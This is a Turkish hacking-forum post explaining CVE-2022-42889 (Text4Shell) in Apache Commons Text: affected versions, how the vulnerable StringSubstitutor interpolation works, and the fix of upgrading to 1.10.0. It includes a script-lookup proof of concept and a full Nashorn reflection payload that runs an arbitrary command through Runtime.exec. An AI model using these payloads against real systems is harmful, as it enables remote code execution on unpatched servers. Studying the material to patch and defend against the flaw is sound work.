CVE-2022-42889: Apache Commons Text Nedir ?

a3b2jeo.png

logo.png

Görsel


CVE-2022-42889: Apache Commons Text Nedir ?
Alvaro Munoz, 17 Ekim 2022 tarihinde Apache Commons Text'te bir güvenlik açığı belirledi. Bu güvenlik açığı, StringSubstitutor'un varsayılan interpolatörlerle (StringSubstitutor.createInterpolator() kullanıldığında) gerçekleştirdiği dize aramalarının Uzaktan Kod Yürütme'ye yol açabilecek şekilde çalışmasına neden olabilir.
Konuyu Okuyan Sen=konuyu okuyup uzaklaşmamak için
:siberatay_etiket:
Apache Commons Text Sitesi Nedir Araştırmanı istiyorum çok tatlı olabiliriz öğrenerek.
:siberatay_em:

CVE-2022-42889'un CVSS puanı 10 üzerinden 9.8, Apache Commons Text sürümleri 1.5 ila 1.9'u etkiler ve 1.10 sürümünde düzeltilmiştir.

Güvenlik açığının endişe verici doğasına rağmen, kullanılabilirlik konusunda kesin kısıtlamalar bulunmaktadır. Saldırıyı gerçekleştirmek için aşağıdaki adımların sıralı bir şekilde mevcut olması gerekir:

Varsayılan interpolatör yöntemlerinin (createInterpolator(), replace(), replaceIn()) kullanılması
Hatanın açıklamasında belirtilen değişkenleri aritmetik olarak değerlendiren bu yöntemler için harici girişin kullanılması
Bu harici girişin sağlanmasının düzenlenmemiş olması
Yukarıda belirtilen yöntemlerle kullanılan harici girişlerin uygun bir şekilde düzenlenmemesi durumunda hatadan kaçınılabilir.

Soru şu: Bağımlılık ağacınızın bu hataları içermediğine emin misiniz? Bu olasılık nedeniyle, topluluk olarak paniğe kapılmamak ama bu güvenlik açığını da düzeltmek önemlidir.

Apache Commons Text'i neden savunmasız kılıyor?
Apache Commons Text, StringSubstitutor nesnesi üzerinden şu şekilde değişken interpolasyonu yapar:
Kod:
StringSubstitutor interp = StringSubstitutor.createInterpolator();

Bir interpolatör örneği oluşturduktan sonra verileri manipüle etmek mümkündür, bu da özelliklerin dinamik olarak değerlendirilmesine ve genişletilmesine olanak tanır.
Kod:
String str = "You have-> ${java:version}";
String rep = interp.replace(str);
Example output: You have-> Java version 19
String str = "You are-> ${env:USER}";
String rep = interp.replace(str);
Example output: You are-> doug

İnterpolasyon için standart format ${prefix:ad} şeklindedir, burada "prefix", interpolasyonu gerçekleştiren org.apache.commons.text.lookup.StringLookup örneğini bulmak için kullanılır.

Yukarıdaki örnekte, replace() yöntemi giriş dizisini işler, karakterleri birer birer kopyalar ancak interpolasyon formatına uyan karakterleri hariç tutar, bu da Log4j'yi hatırlatır.

1.5 ila 1.9 sürümlerinde, varsayılan aramalar şunlardır:

script: JVM betik yürütme motorunu kullanarak ifadeleri yürütür (ör. ${script:javascript:3 + 4})
dns: DNS kayıtlarını çözer (ör. ${dns:address|apache.org})
url: URL'lerden değerleri yükler, bunlar arasında uzak sunuculardan olanlar da bulunur (ör. ${url:UTF-8:Welcome to The Apache Software Foundation!})
Bu nedenle, güvenilmeyen veriler StringSubstitutor.replace() veya StringSubstitutor.replaceIn() yöntemlerine akarsa, bir saldırgan ScriptStringLookup'u kullanarak aşağıdaki gibi keyfi kod yürütebilir:


Kod:
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}");
System.out.println(out);

Erişim ne kadar geniş?

Çoğu muhtemelen CVE-2022-42889'u ya "Text4shell" ya da "Act4shell" olarak adlandırılmış olarak duymuşsunuzdur, Log4shell'e benzer şekilde. Log4shell hala dünya genelinde şirketlere büyük zarar veriyor ve adını hakkıyla kazanıyor, ancak bu güvenlik açığı temelde farklıdır.

Log4Shell'de dize interpolasyonu, genellikle güvenilmeyen girişleri içeren log ileti gövdesinden mümkündü. Apache Commons Text'te ise güvenlik açığına sahip olan yöntem, bilinçli bir şekilde dize interpolasyonu gerçekleştirir.

Bu bilinçli niyet nedeniyle, uygulamaların uygun doğrulama olmadan güvenilmeyen girişi yanlışlıkla iletmeleri çok daha az olasıdır.

Ancak, Apache Commons Text'in yaygın kullanımı nedeniyle, mümkünse bir an önce yama yapılması önerilir.

Apache Commons Text, Java için bir numaralı dize yardımcı programı kütüphanesidir ve şu gibi 2,593 kütüphanenin bağımlılığıdır:

OpenCSV
Apache Solr
Neo4j
Ayrıca, JDK'nın tüm sürümleri etkilenir, JDK 15+ dahil. Alvaro Munoz, JEXL motorunu bir saldırı yolu olarak kullanan güncellenmiş bir POC oluşturdu.
Eğer JEXL varsa, kod başarıyla yürütülür, bu da saldırganların ilgili bir motorla herhangi bir JDK'da güvenlik açığını sömürmelerine olanak tanır.

Bu sömürülebilirlik, ancak bununla sınırlı olmamak üzere, şu sonuçlara yol açabilir:

Bellekte veri sızıntısı
Harici sunuculara ve hizmetlere bağlantıları tetikleme
Uzaktan Kod Yürütme aracılığıyla veri sızdırma

Çözüm Yolu Nedir ?

Eğer uygulamalarınız doğrudan Apache Commons Text'e bağımlılıklara sahipse, yamalanmış sürüme (1.10.0) yükseltmeniz önerilir, bu da varsayılan olarak güvenlik açıklarını devre dışı bırakır.

COTS ve diğer satıcılar tarafından paketlenmiş olan Apache Commons Text'in güvenlik açıklarını içeren uygulamalar için, satıcılarınızdan mevcut oldukça yamaları kurmanızı öneririz.

Nashorn motorunu kullanan JDK sürümleri için, işlem forking kuralı, Javascript kodu olarak sağlanan root için yeterlidir.


Kod:
app("nashorn CVE-2022-42889"):
    requires(version: "ARMR/2.2")
    process("Deny any process execution"):
        execute("*")
        protect(message: "", severity: 7)
    endprocess
endapp

PAYLOAD

Kod:
"function getIndexOfMethod(methodArray, methodName){\n" +
"    var count = 0;\n" +
"    for each (var method in methodArray){\n" +
"        if(method.toString() == methodName){\n" +
"            return count;\n" +
"        }\n" +
"        count++;\n" +
"    }\n" +
"    return null;\n" +
"}\n" +
" \n" +
"// Modify the command\n" +
"var command = \"touch /tmp/nashorn\";\n" +
" \n" +
"// Create an instance of class 'Class'\n" +
"var obj = ''['class'];\n" +
" \n" +
"// Get the list of all the methods\n" +
"var methods = obj.getClass().getMethods();\n" +
" \n" +
"// Find the index of 'forName()' method\n" +
"var forNameString = \"public static java.lang.Class java.lang.Class.forName(java.lang.String) throws java.lang.ClassNotFoundException\";\n" +
"var forNameMethodIndex = getIndexOfMethod(methods, forNameString);\n" +
" \n" +
"// Find the index of 'getRuntime()' method\n" +
"var runTimeMethods = methods[forNameMethodIndex].invoke(null, 'java.lang.Runtime').getMethods();\n" +
"var getRuntimeString = \"public static java.lang.Runtime java.lang.Runtime.getRuntime()\";\n" +
 "var getRunTimeMethodIndex = getIndexOfMethod(runTimeMethods, getRuntimeString);\n" +
" \n" +
"// Execute the command\n" +
"runTimeMethods[getRunTimeMethodIndex].invoke(null).exec(command);");

Kaynaklarım
waratek


a3b2jeo.png
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.